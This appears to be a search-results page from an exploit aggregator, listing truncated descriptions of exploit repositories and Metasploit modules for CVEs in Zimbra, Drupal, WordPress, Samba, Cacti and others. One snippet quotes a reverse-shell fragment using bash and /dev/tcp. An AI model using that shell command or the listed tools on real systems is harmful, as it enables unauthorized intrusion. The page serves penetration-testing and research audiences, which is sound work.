55 matches found
Zimbra-RCE
Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...
Zimbra-RCE
Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...
CVE-2018-7600-Drupal-0day-RCE
CVE-2018-7600-Drupal-0day-RCE Drupal 0day Exécution de code PHP à distance Perl Ceci est un exploit RCE 0day dans Drupal CMS Vous pouvez télécharger un payload sur le serveur. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Comment exécuter l'exploit : 1-git clone...
CVE-2025-34085-Multi-target
CVE-2025-34085 मल्टी-टार्गेट RCE स्कैनर CVE-2025-34085 के लिए सामूहिक-शोषण स्कैनर — वर्डप्रेस सिंपल फाइल लिस्ट प्लगइन में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता। यह उपकरण एक PHP पेलोड को एक चित्र के रूप में प्रच्छन्न करके अपलोड करता है, एक कमजोर फ़ाइल इंजन के माध्यम से इसका नाम बदलता है, और एक...
CVE-2025-54769
CVE-2025-54769 – LPAR2RRD RCE विवरण : इस रिपॉजिटरी में CVE-2025-54769 के लिए एक Proof‑of‑Concept PoC शोषण शामिल है, जो lpar2rrd में पाया गया एक कमजोरी है। यह कमजोरी /lpar2rrd-cgi/upgrade.sh एंडपॉइंट का दुरुपयोग करके रिमोट कोड निष्पादन RCE और निर्देशिका भ्रमण की अनुमति देती है। शोषण कार्यप्रवाह इस...
CVE-2014-6271
Hellshocker 0.1.1 Shellshock कमजोरी का शोषण करने के लिए उपकरण कमजोर shellshock एक्सप्लॉइट्स का उपयोग करके या सिर्फ "/bin/bash & /dev/tcp/IP/port 0&1" के माध्यम से सर्वर में घुसने से थक गए हैं? हाँ, आपको सर्वर पर कुछ अधिक जटिल अपलोड और निष्पादित करने की आवश्यकता है, और एक बड़ी फ़ाइल को base64 में...
SMB to Meterpreter Upgrade via PsExec
Upgrades an authenticated SMB session to a Meterpreter session using PsExec techniques. This module uploads a service-wrapped executable payload to the ADMIN$ share via the existing authenticated SMB connection, then creates and starts a Windows service that executes the payload. This mirrors the...
HTTP Fetch, Windows Upload/Execute, Hidden Bind TCP Stager
Fetch and execute an x86 payload from an HTTP server. Uploads an executable and runs it staged. Listen for a connection from a hidden port and spawn a command shell to the allowed host. Module Options msf use payload/cmd/windows/http/x86/upexec/bindhiddentcp msf payloadbindhiddentcp show actions...
📄 Novell GroupWise 2012 Traversal / Shell Upload
This code exploits the directory traversal vulnerability in Novell GroupWise 2012 before Support Pack 1 to steal files, and attempts to upload a web shell payload if possible, making it an effective penetration testing tool...
📄 Magento 2 / Adobe Commerce 2.4.x SessionReaper
This PHP script is a proof of concept exploit targeting Magento for CVE‑2025‑54236, commonly referred to as SessionReaper. It is a PHP port of an original Metasploit module and is designed for security testing...
CVE-2020-36911 Covenant 0.5 - Remote Code Execution (RCE)
Covenant 0.1.3 - 0.5 contains a remote code execution vulnerability that allows attackers to craft malicious JWT tokens with administrative privileges. Attackers can generate forged tokens with admin roles and upload custom DLL payloads to execute arbitrary commands on the target system...
CVE-2025-41717
An unauthenticated remote attacker can trick a high privileged user into uploading a malicious payload via the config-upload endpoint, leading to code injection as root. This results in a total loss of confidentiality, availability and integrity due to improper control of code generation 'Code...
CVE-2023-53942 File Thingie 2.5.7 Authenticated Arbitrary File Upload Remote Code Execution
File Thingie 2.5.7 contains an authenticated file upload vulnerability that allows remote attackers to upload malicious PHP zip archives to the web server. Attackers can create a custom PHP payload, upload and unzip it, and then execute arbitrary system commands through a crafted PHP script with ...
Exploit for Improper Neutralization of Line Delimiters in Cacti
Cacti CVE-2025-24367 Authenticated RCE PoC This repository co...
Exploit for Code Injection in Samba
CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494...
EUVD-2012-6608
Malware in sbrugna...
Windows Silent Process Exit Persistence
Windows allows you to set up a debug process when a process exits. This module uploads a payload and declares that it is the debug process to launch when a specified process exits. Module Options msf use exploit/windows/persistence/imageexecoptions msf exploitimageexecoptions show targets...
📄 Windows Silent Process Exit Persistence
Windows allows you to set up a debug process when a process exits. This Metasploit module uploads a payload and declares that it is the debug process to launch when a specified process exits. This module requires Metasploit: https://metasploit.com/download Current source:...